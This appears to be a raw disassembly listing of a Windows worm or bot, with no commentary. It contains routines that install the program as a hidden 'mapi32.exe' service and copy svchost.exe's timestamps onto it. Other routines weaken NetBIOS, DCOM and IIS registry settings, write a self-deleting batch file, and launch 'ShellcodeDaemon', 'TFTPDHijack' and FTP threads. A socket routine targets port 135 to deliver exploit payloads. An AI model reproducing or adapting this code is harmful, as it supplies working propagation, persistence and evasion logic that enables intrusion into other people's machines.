		push	1
		push	esi
		push	esi
		push	[ebp+var_8]
		call	dword_401014
		push	[ebp+var_8]
		call	dword_401018


loc_408BC5:				; CODE XREF: sub_408A88+104j
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	esi
		push	offset aNetwork	; "Network"
		push	[ebp+var_10]
		call	dword_401010
		test	eax, eax
		jnz	short loc_408C14
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aMapi	; "MAPI"
		push	[ebp+var_4]
		call	dword_40100C
		push	ebx
		call	sub_40ABD2
		pop	ecx
		push	eax
		push	ebx
		push	1
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_401014
		push	[ebp+var_4]
		call	dword_401018


loc_408C14:				; CODE XREF: sub_408A88+153j
		push	[ebp+var_10]
		call	dword_401018


loc_408C1D:				; CODE XREF: sub_408A88+38j
					; sub_408A88+6Fj ...
		push	[ebp+var_14]
		call	dword_401024
		pop	edi
		pop	ebx


loc_408C28:				; CODE XREF: sub_408A88+1Bj
		pop	esi
		leave
		retn
sub_408A88	endp


; =============== S U B	R O U T	I N E =======================================



sub_408C2B	proc near		; DATA XREF: sub_408C7B+11o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_408C51
		dec	eax
		jz	short loc_408C3E
		dec	eax
		jz	short loc_408C3E
		dec	eax
		jz	short loc_408C3E
		dec	eax
		jz	short loc_408C51


loc_408C3E:				; CODE XREF: sub_408C2B+8j
					; sub_408C2B+Bj ...
		push	offset dword_40B0A0
		push	dword_40B0BC
		call	dword_40103C
		jmp	short locret_408C78
; ---------------------------------------------------------------------------


loc_408C51:				; CODE XREF: sub_408C2B+5j
					; sub_408C2B+11j
		push	offset dword_40B0A0
		mov	dword_40B0A4, 3
		push	dword_40B0BC
		call	dword_40103C
		push	dword_40B0C0
		call	dword_4010C4	; SetEvent

locret_408C78:				; CODE XREF: sub_408C2B+24j
		retn	4
sub_408C2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_408C7B	proc near		; DATA XREF: sub_408D6E+19o
		push	ebx
		push	ebp
		push	1
		xor	ebx, ebx
		pop	ebp
		mov	dword_40B0A0, 30h
		push	offset sub_408C2B
		push	offset aMapi	; "MAPI"
		mov	dword_40B0A4, ebp
		mov	dword_40B0A8, ebx
		mov	dword_40B0AC, ebx
		mov	dword_40B0B0, ebx
		mov	dword_40B0B4, ebx
		mov	dword_40B0B8, ebx
		call	dword_401028
		cmp	eax, ebx
		mov	dword_40B0BC, eax
		jz	loc_408D69
		push	esi
		mov	esi, dword_40103C
		push	edi
		mov	edi, offset dword_40B0A0
		push	edi
		push	eax
		mov	dword_40B0A4, 2
		call	esi ; dword_40103C
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	dword_401080	; CreateEventA
		or	dword_40B0A8, 5
		push	edi
		push	dword_40B0BC
		mov	dword_40B0C0, eax
		mov	dword_40B0A4, 4
		call	esi ; dword_40103C
		cmp	byte_40B0D2, bl
		jnz	short loc_408D1E
		call	sub_40933F


loc_408D1E:				; CODE XREF: sub_408C7B+9Cj
		push	0FFFFFFFFh
		push	dword_40B0C0
		call	dword_4010B8	; WaitForSingleObject
		push	edi
		mov	dword_40B0A4, 3
		push	dword_40B0BC
		call	esi ; dword_40103C
		push	dword_40B0C0
		call	dword_4010BC	; CloseHandle
		and	dword_40B0A8, 0FFFFFFFAh
		push	edi
		push	dword_40B0BC
		mov	dword_40B0C0, ebx
		mov	dword_40B0A4, ebp
		call	esi ; dword_40103C
		pop	edi
		pop	esi


loc_408D69:				; CODE XREF: sub_408C7B+4Cj
		pop	ebp
		pop	ebx
		retn	8
sub_408C7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D6E	proc near		; CODE XREF: sub_40933F+212p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], offset aMapi ; "MAPI"
		push	eax
		mov	[ebp+var_C], offset sub_408C7B
		call	dword_40102C
		leave
		retn
sub_408D6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_408D96	proc near		; CODE XREF: sub_408EAB+3Ep

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_40101C
		mov	ebp, eax
		cmp	ebp, ebx
		jnz	short loc_408DB1
		xor	al, al
		jmp	short loc_408DE6
; ---------------------------------------------------------------------------


loc_408DB1:				; CODE XREF: sub_408D96+15j
		push	esi
		push	edi
		push	0F01FFh
		push	[esp+14h+arg_0]
		push	ebp
		call	dword_401020
		mov	edi, dword_401024
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_408DDF
		push	esi
		call	dword_401030
		test	eax, eax
		jz	short loc_408DDC
		mov	bl, 1


loc_408DDC:				; CODE XREF: sub_408D96+42j
		push	esi
		call	edi ; dword_401024


loc_408DDF:				; CODE XREF: sub_408D96+37j
		push	ebp
		call	edi ; dword_401024
		pop	edi
		mov	al, bl
		pop	esi


loc_408DE6:				; CODE XREF: sub_408D96+19j
		pop	ebp
		pop	ebx
		retn
sub_408D96	endp


; =============== S U B	R O U T	I N E =======================================



sub_408DE9	proc near		; CODE XREF: sub_40933F+Cp
		push	offset aXmapimailclien ; "xMAPIMailClientx"
		push	1
		push	0
		call	dword_401048	; CreateMutexA
		call	dword_401044	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		setz	al
		retn
sub_408DE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E07	proc near		; CODE XREF: sub_409016+F4p
					; sub_409016+12Ap

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aSvchost_exe ; "svchost.exe"
		push	esi
		call	dword_401058	; SearchPathA
		test	eax, eax
		jz	short loc_408EA6
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_401054
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi ; dword_401054
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_408EA6
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_401050	; GetFileTime
		push	ebx
		mov	ebx, dword_4010BC
		call	ebx ; dword_4010BC
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi ; dword_401054
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_408EA6
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_40104C	; SetFileTime
		push	esi
		call	ebx ; dword_4010BC


loc_408EA6:				; CODE XREF: sub_408E07+2Aj
					; sub_408E07+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408E07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EAB	proc near		; CODE XREF: sub_408825+112p
					; sub_409016+10Dp

var_710		= byte ptr -710h
var_310		= byte ptr -310h
var_20C		= byte ptr -20Ch
var_108		= byte ptr -108h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 710h
		push	esi
		push	edi
		xor	edi, edi
		push	offset aXmapimailclien ; "xMAPIMailClientx"
		push	edi
		push	1F0001h
		call	dword_401074	; OpenMutexA
		cmp	eax, edi
		jz	short loc_408ED4
		push	eax
		call	dword_401070	; ReleaseMutex


loc_408ED4:				; CODE XREF: sub_408EAB+20j
		push	offset aControlHandler ; "Control Handler"
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		push	offset aMapi	; "MAPI"
		call	sub_408D96
		add	esp, 0Ch
		lea	eax, [ebp+var_710]
		push	eax
		push	400h
		call	dword_40106C	; GetTempPathA
		lea	eax, [ebp+var_710]
		push	eax
		lea	eax, [ebp+var_108]
		push	offset aSerase_bat ; "%serase.bat"
		push	eax
		call	sub_40AB94
		add	esp, 0Ch
		lea	eax, [ebp+var_108]
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	40000000h
		push	eax
		call	dword_401054	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jbe	loc_409007
		lea	eax, [ebp+var_710]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_40AB94
		pop	ecx
		lea	eax, [ebp+var_4]
		pop	ecx
		push	edi
		push	eax
		lea	eax, [ebp+var_710]
		push	eax
		call	sub_40ABD2
		pop	ecx
		push	eax
		lea	eax, [ebp+var_710]
		push	eax
		push	esi
		call	dword_401068	; WriteFile
		push	esi
		call	dword_4010BC	; CloseHandle
		mov	esi, 104h
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	edi
		call	dword_4010C8	; GetModuleHandleA
		push	eax
		call	dword_4010D0	; GetModuleFileNameA
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_401064	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408FBA
		lea	eax, [ebp+var_20C]
		push	80h
		push	eax
		call	dword_401060	; SetFileAttributesA


loc_408FBA:				; CODE XREF: sub_408EAB+FBj
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_710]
		push	offset aComspecCSSS ; "%%comspec%% /c %s %s %s"
		push	eax
		call	sub_40AB94
		add	esp, 14h
		lea	eax, [ebp+var_310]
		push	esi
		push	eax
		lea	eax, [ebp+var_710]
		push	eax
		call	dword_40105C	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_310]
		push	edi
		push	eax
		call	sub_40A8E0
		pop	ecx
		pop	ecx


loc_409007:				; CODE XREF: sub_408EAB+8Fj
		call	dword_401248
		push	edi
		call	dword_4010F0	; ExitProcess
		pop	edi
		pop	esi
sub_408EAB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409016	proc near		; CODE XREF: sub_40933F+1F2p

var_21C		= byte ptr -21Ch
var_119		= byte ptr -119h
var_118		= byte ptr -118h

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	esi
		push	edi
		lea	eax, [ebp+var_21C]
		push	104h
		xor	edi, edi
		push	eax
		push	edi
		call	dword_4010D0	; GetModuleFileNameA
		lea	eax, [ebp+var_118]
		push	118h
		push	eax
		call	dword_4010F8	; GetSystemDirectoryA
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4010CC	; lstrlenA
		cmp	[ebp+eax+var_119], 5Ch
		mov	esi, dword_40107C
		jz	short loc_409073
		lea	eax, [ebp+var_118]
		push	offset asc_4035E8 ; "\\"
		push	eax
		call	esi ; dword_40107C


loc_409073:				; CODE XREF: sub_409016+4Dj
		lea	eax, [ebp+var_118]
		push	offset aMapi32_exe ; "mapi32.exe"
		push	eax
		call	esi ; dword_40107C
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_40A690
		test	al, al
		pop	ecx
		jnz	loc_40912A
		push	edi
		push	80h
		push	2
		push	edi
		push	3
		lea	eax, [ebp+var_118]
		push	40000000h
		push	eax
		call	dword_401054	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4090BE
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4090D0


loc_4090BE:				; CODE XREF: sub_409016+A1j
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_401064	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4090F0


loc_4090D0:				; CODE XREF: sub_409016+A6j
		push	esi
		call	dword_4010BC	; CloseHandle
		lea	eax, [ebp+var_118]
		push	edi
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	dword_401078	; CopyFileA
		test	eax, eax
		jnz	short loc_4090F4


loc_4090F0:				; CODE XREF: sub_409016+B8j
		xor	al, al
		jmp	short loc_409148
; ---------------------------------------------------------------------------


loc_4090F4:				; CODE XREF: sub_409016+D8j
		lea	eax, [ebp+var_118]
		push	7
		push	eax
		call	dword_401060	; SetFileAttributesA
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_408E07
		lea	eax, [ebp+var_118]
		push	edi
		push	eax
		call	sub_40A8E0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_409146
		call	sub_408EAB
		jmp	short loc_409146
; ---------------------------------------------------------------------------


loc_40912A:				; CODE XREF: sub_409016+7Aj
		lea	eax, [ebp+var_118]
		push	7
		push	eax
		call	dword_401060	; SetFileAttributesA
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_408E07
		pop	ecx


loc_409146:				; CODE XREF: sub_409016+10Bj
					; sub_409016+112j
		mov	al, 1


loc_409148:				; CODE XREF: sub_409016+DCj
		pop	edi
		pop	esi
		leave
		retn
sub_409016	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40914C	proc near		; CODE XREF: sub_404530+A5Bp
					; sub_40933F+217p

var_320		= byte ptr -320h
var_120		= byte ptr -120h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 320h
		push	ebx
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		mov	edi, dword_401010
		push	eax
		xor	esi, esi
		push	8
		push	esi
		mov	ebx, 80000002h
		push	offset aSystemCurren_1 ; "SYSTEM\\CurrentControlSet\\Services\\TcpIp"...
		push	ebx
		call	edi ; dword_401010
		test	eax, eax
		jnz	loc_409239
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_C], 200h
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	eax, [ebp+var_320]
		mov	[ebp+var_8], 2
		push	eax
		mov	[ebp+var_10], 1
		push	esi


loc_4091A4:				; CODE XREF: sub_40914C+DFj
		push	[ebp+var_4]
		call	dword_401038
		test	eax, eax
		jnz	short loc_409230
		lea	eax, [ebp+var_320]
		push	eax
		lea	eax, [ebp+var_120]
		push	offset aSystemCurren_2 ; "SYSTEM\\CurrentControlSet\\Services\\NetBT"...
		push	eax
		call	sub_40AB94
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		push	0F003Fh
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		push	ebx
		call	edi ; dword_401010
		test	eax, eax
		jnz	short loc_409204
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	esi
		push	offset aNetbiosoptions ; "NetbiosOptions"
		push	[ebp+var_4]
		call	dword_401014
		push	[ebp+var_14]
		call	dword_401018


loc_409204:				; CODE XREF: sub_40914C+96j
		mov	eax, [ebp+var_10]
		lea	ecx, [ebp+var_1C]
		inc	[ebp+var_10]
		push	ecx
		push	esi
		push	esi
		lea	ecx, [ebp+var_C]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_320]
		push	ecx
		mov	[ebp+var_C], 200h
		mov	[ebp+var_8], 2
		push	eax
		jmp	loc_4091A4
; ---------------------------------------------------------------------------


loc_409230:				; CODE XREF: sub_40914C+63j
		push	[ebp+var_4]
		call	dword_401018


loc_409239:				; CODE XREF: sub_40914C+2Aj
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	esi
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\OLE"
		push	ebx
		call	edi ; dword_401010
		test	eax, eax
		jnz	short loc_409270
		push	3
		push	offset aN	; "N"
		push	1
		push	esi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_401014
		push	[ebp+var_4]
		call	dword_401018


loc_409270:				; CODE XREF: sub_40914C+101j
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	esi
		push	offset aSystemCurren_3 ; "SYSTEM\\CurrentControlSet\\Services\\NetDD"...
		push	ebx
		call	edi ; dword_401010
		test	eax, eax
		jnz	short loc_4092AD
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	esi
		push	offset aStart	; "Start"
		push	[ebp+var_4]
		mov	[ebp+var_8], 3
		call	dword_401014
		push	[ebp+var_4]
		call	dword_401018


loc_4092AD:				; CODE XREF: sub_40914C+138j
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	esi
		call	dword_40101C
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4092FD
		push	0F01FFh
		push	offset aNetworkDde ; "Network DDE"
		push	eax
		call	dword_401020
		cmp	eax, esi
		mov	[ebp+var_8], eax
		jz	short loc_4092F4
		push	offset dword_40B0A0
		push	1
		push	eax
		call	dword_401034
		push	[ebp+var_8]
		call	dword_401024


loc_4092F4:				; CODE XREF: sub_40914C+18Fj
		push	[ebp+var_C]
		call	dword_401024


loc_4092FD:				; CODE XREF: sub_40914C+177j
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	esi
		push	offset aSystemCurren_4 ; "SYSTEM\\CurrentControlSet\\Services\\W3SVC"...
		push	ebx
		call	edi ; dword_401010
		test	eax, eax
		jnz	short loc_40933A
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	esi
		push	offset aMaxclientreque ; "MaxClientRequestBuffer"
		push	[ebp+var_4]
		mov	[ebp+var_8], 4000h
		call	dword_401014
		push	[ebp+var_4]
		call	dword_401018


loc_40933A:				; CODE XREF: sub_40914C+1C5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40914C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40933F	proc near		; CODE XREF: sub_408C7B+9Ep
					; sub_40933F+225p

var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_C		= word ptr -0Ch
var_4		= word ptr -4
var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		call	sub_408DE9
		test	al, al
		jnz	loc_409507
		call	sub_40AA5D
		test	al, al
		jnz	loc_409507
		mov	esi, dword_4010FC
		mov	byte_40B0D2, 1
		call	esi ; dword_4010FC
		push	eax
		call	sub_40AC3A
		push	0Ah
		push	4
		call	sub_40A818
		push	eax
		call	sub_40A77F
		add	esp, 10h
		mov	dword_40B278, eax
		call	esi ; dword_4010FC
		mov	edi, dword_4010F4
		mov	dword_40B27C, eax


loc_40939E:				; CODE XREF: sub_40933F+78j
		call	sub_409688
		test	al, al
		jz	short loc_4093B0
		call	sub_4052A5
		test	al, al
		jnz	short loc_4093B9


loc_4093B0:				; CODE XREF: sub_40933F+66j
		push	3E8h
		call	edi ; dword_4010F4
		jmp	short loc_40939E
; ---------------------------------------------------------------------------


loc_4093B9:				; CODE XREF: sub_40933F+6Fj
		lea	eax, [ebp+var_10C]
		push	100h
		push	eax
		call	dword_401224
		xor	ebx, ebx
		test	eax, eax
		jz	short loc_4093DB
		lea	eax, [ebp+var_10C]
		test	eax, eax
		jz	short loc_409445


loc_4093DB:				; CODE XREF: sub_40933F+90j
		lea	eax, [ebp+var_10C]
		push	eax
		call	dword_401250
		cmp	eax, ebx
		jz	short loc_409445
		mov	esi, [eax+0Ch]


loc_4093EF:				; CODE XREF: sub_40933F+104j
		mov	eax, [esi]
		cmp	eax, ebx
		jz	short loc_409445
		movzx	ecx, byte ptr [eax+3]
		push	ecx
		movzx	ecx, byte ptr [eax+2]
		push	ecx
		movzx	ecx, byte ptr [eax+1]
		movzx	eax, byte ptr [eax]
		push	ecx
		push	eax
		lea	eax, [ebp+var_10C]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_40AB94
		lea	eax, [ebp+var_10C]
		push	eax
		push	off_403730
		call	sub_40ABA0
		add	esp, 20h
		lea	eax, [ebp+var_10C]
		push	eax
		call	dword_40124C
		mov	dword_40B244, eax
		add	esi, 4
		jmp	short loc_4093EF
; ---------------------------------------------------------------------------


loc_409445:				; CODE XREF: sub_40933F+9Aj
					; sub_40933F+ABj ...
		push	offset aProtocolHandle ; "Protocol Handler"
		push	1
		pop	esi
		push	esi
		push	ebx
		push	offset sub_40549A
		call	sub_40A45C
		push	offset aControlHandler ; "Control Handler"
		push	esi
		push	ebx
		push	offset sub_405CEC
		call	sub_40A45C
		push	offset aTftpdhijack ; "TFTPDHijack"
		push	esi
		push	ebx
		push	offset sub_407BC9
		call	sub_40A45C
		push	dword_40B244
		call	sub_40715A
		add	esp, 34h
		test	eax, eax
		jz	short loc_409502
		push	0FFFFh
		push	400h
		call	sub_40A818
		mov	word_40B24A, ax
		mov	[ebp+var_C], ax
		push	offset aShellcodedaemo ; "ShellcodeDaemon"
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		push	offset sub_40785E
		call	sub_40A45C
		mov	dword_40B270, ebx
		mov	[ebp+var_1], bl
		mov	[ebp+var_2], bl
		call	sub_40AC34
		cdq
		mov	ecx, 0FC17h
		push	offset aFtpd	; "Ftpd"
		idiv	ecx
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	offset sub_407F46
		add	edx, 3E8h
		mov	word_40B0D0, dx
		mov	[ebp+var_4], dx
		call	sub_40A45C
		add	esp, 28h
		push	3A98h
		call	edi ; dword_4010F4


loc_409502:				; CODE XREF: sub_40933F+14Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409507:				; CODE XREF: sub_40933F+13j
					; sub_40933F+20j
		push	0
		call	dword_4010F0	; ExitProcess
		sub	esp, 190h
		push	2
		call	dword_401084	; SetErrorMode
		and	byte_40B0D2, 0
		lea	eax, [esp+18Ch+var_18C]
		push	eax
		push	2
		call	dword_401228
		call	sub_409016
		push	offset aMapi	; "MAPI"
		call	sub_408953
		test	al, al
		pop	ecx
		jnz	short loc_40954C
		call	sub_408A88
		jmp	short loc_40955B
; ---------------------------------------------------------------------------


loc_40954C:				; CODE XREF: sub_40933F+204j
		call	sub_40899B
		call	sub_408D6E
		call	sub_40914C


loc_40955B:				; CODE XREF: sub_40933F+20Bj
		cmp	byte_40B0D2, 0
		jnz	short loc_409569
		call	sub_40933F


loc_409569:				; CODE XREF: sub_40933F+223j
		add	esp, 190h
		retn
sub_40933F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409570	proc near		; CODE XREF: sub_4052A5+21p
					; sub_4052A5+3Dp ...

var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		cmp	[ebp+arg_0], 0
		jnz	short loc_409586
		push	offset byte_40B078
		jmp	short loc_409589
; ---------------------------------------------------------------------------


loc_409586:				; CODE XREF: sub_409570+Dj
		push	[ebp+arg_0]


loc_409589:				; CODE XREF: sub_409570+14j
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_40ABA0
		pop	ecx
		lea	eax, [ebp+var_84]
		pop	ecx
		push	eax
		call	dword_401250
		test	eax, eax
		jz	short loc_4095B7
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_401220
		leave
		retn
; ---------------------------------------------------------------------------


loc_4095B7:				; CODE XREF: sub_409570+36j
		push	[ebp+arg_0]
		call	dword_40124C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	short loc_4095DE
		push	2
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		call	dword_401208
		test	eax, eax
		jz	short loc_4095DE
		mov	eax, [eax]
		leave
		retn
; ---------------------------------------------------------------------------


loc_4095DE:				; CODE XREF: sub_409570+56j
					; sub_409570+68j
		xor	eax, eax
		leave
		retn
sub_409570	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095E2	proc near		; CODE XREF: sub_4055A6+6CBp
					; sub_4055A6+704p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_0], 0
		push	esi
		push	edi
		jz	loc_409682
		push	offset byte_40B078
		push	[ebp+arg_0]
		call	sub_40ABB2
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409682
		push	20h
		lea	eax, [ebp+var_20]
		push	[ebp+arg_0]
		push	eax
		call	sub_40AC28
		mov	esi, offset a_	; "."
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_40ABB8
		add	esp, 14h
		test	eax, eax
		jz	short loc_409682
		push	eax
		call	sub_40ABAC
		push	esi
		push	0
		mov	edi, eax
		call	sub_40ABB8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_409682
		push	eax
		call	sub_40ABAC
		cmp	edi, 0Ah
		pop	ecx
		jz	short loc_40967E
		cmp	edi, 0ACh
		jnz	short loc_409660
		cmp	eax, 0Fh
		jle	short loc_409682
		cmp	eax, 20h
		jl	short loc_40967E


loc_409660:				; CODE XREF: sub_4095E2+72j
		cmp	edi, 0A9h
		jnz	short loc_40966F
		cmp	eax, 0FEh
		jz	short loc_40967E


loc_40966F:				; CODE XREF: sub_4095E2+84j
		cmp	edi, 0C0h
		jnz	short loc_409682
		cmp	eax, 0A8h
		jnz	short loc_409682


loc_40967E:				; CODE XREF: sub_4095E2+6Aj
					; sub_4095E2+7Cj ...
		mov	al, 1
		jmp	short loc_409684
; ---------------------------------------------------------------------------


loc_409682:				; CODE XREF: sub_4095E2+Cj
					; sub_4095E2+23j ...
		xor	al, al


loc_409684:				; CODE XREF: sub_4095E2+9Ej
		pop	edi
		pop	esi
		leave
		retn
sub_4095E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_409688	proc near		; CODE XREF: sub_40933F:loc_40939Ep

var_4		= byte ptr -4

		push	ecx
		lea	eax, [esp+4+var_4]
		push	0
		push	eax
		call	dword_4011E8
		test	eax, eax
		setnz	al
		pop	ecx
		retn
sub_409688	endp


; =============== S U B	R O U T	I N E =======================================



sub_40969D	proc near		; CODE XREF: sub_4052A5+16p
		push	esi
		push	edi
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	dword_401090	; LoadLibraryA
		mov	esi, eax
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	esi
		call	dword_40108C	; GetProcAddress
		call	eax
		push	esi
		mov	edi, eax
		call	dword_401088	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40969D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4096C8	proc near		; CODE XREF: sub_405DB7+18p

var_2014	= byte ptr -2014h
var_2012	= byte ptr -2012h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2014h
		call	sub_40ABE0
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		dec	eax
		push	edi
		jz	short loc_409707
		dec	eax
		jz	short loc_4096E9
		dec	eax


loc_4096E2:				; CODE XREF: sub_4096C8+8Ej
					; sub_4096C8+ABj
		xor	eax, eax
		jmp	loc_40982F
; ---------------------------------------------------------------------------


loc_4096E9:				; CODE XREF: sub_4096C8+17j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	sub_407165
		add	esp, 0Ch
		neg	al
		sbb	eax, eax
		and	eax, 3
		jmp	loc_40982F
; ---------------------------------------------------------------------------


loc_409707:				; CODE XREF: sub_4096C8+14j
		xor	esi, esi
		push	esi
		push	1
		push	2
		mov	[ebp+var_4], esi
		call	dword_401234
		mov	edi, eax
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		mov	[ebp+arg_4], edi
		call	sub_40AC10
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	87h
		call	dword_401230
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_401238
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4096E2
		push	esi
		push	48h
		push	offset dword_403760
		push	edi
		call	dword_401244
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_409778
		push	edi


loc_40976D:				; CODE XREF: sub_4096C8+10Bj
		call	sub_408616
		pop	ecx
		jmp	loc_4096E2
; ---------------------------------------------------------------------------


loc_409778:				; CODE XREF: sub_4096C8+A2j
		mov	ebx, 2000h
		push	esi
		lea	eax, [ebp+var_2014]
		push	ebx
		push	eax
		push	edi
		mov	edi, dword_40123C
		call	edi ; dword_40123C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4097D0
		cmp	[ebp+var_2012],	0Ch
		jnz	loc_409823
		push	esi
		push	18h
		push	offset dword_4037AC
		push	[ebp+arg_4]
		call	dword_401244
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4097D0
		push	esi
		lea	eax, [ebp+var_2014]
		push	ebx
		push	eax
		push	[ebp+arg_4]
		call	edi ; dword_40123C
		inc	eax
		neg	eax
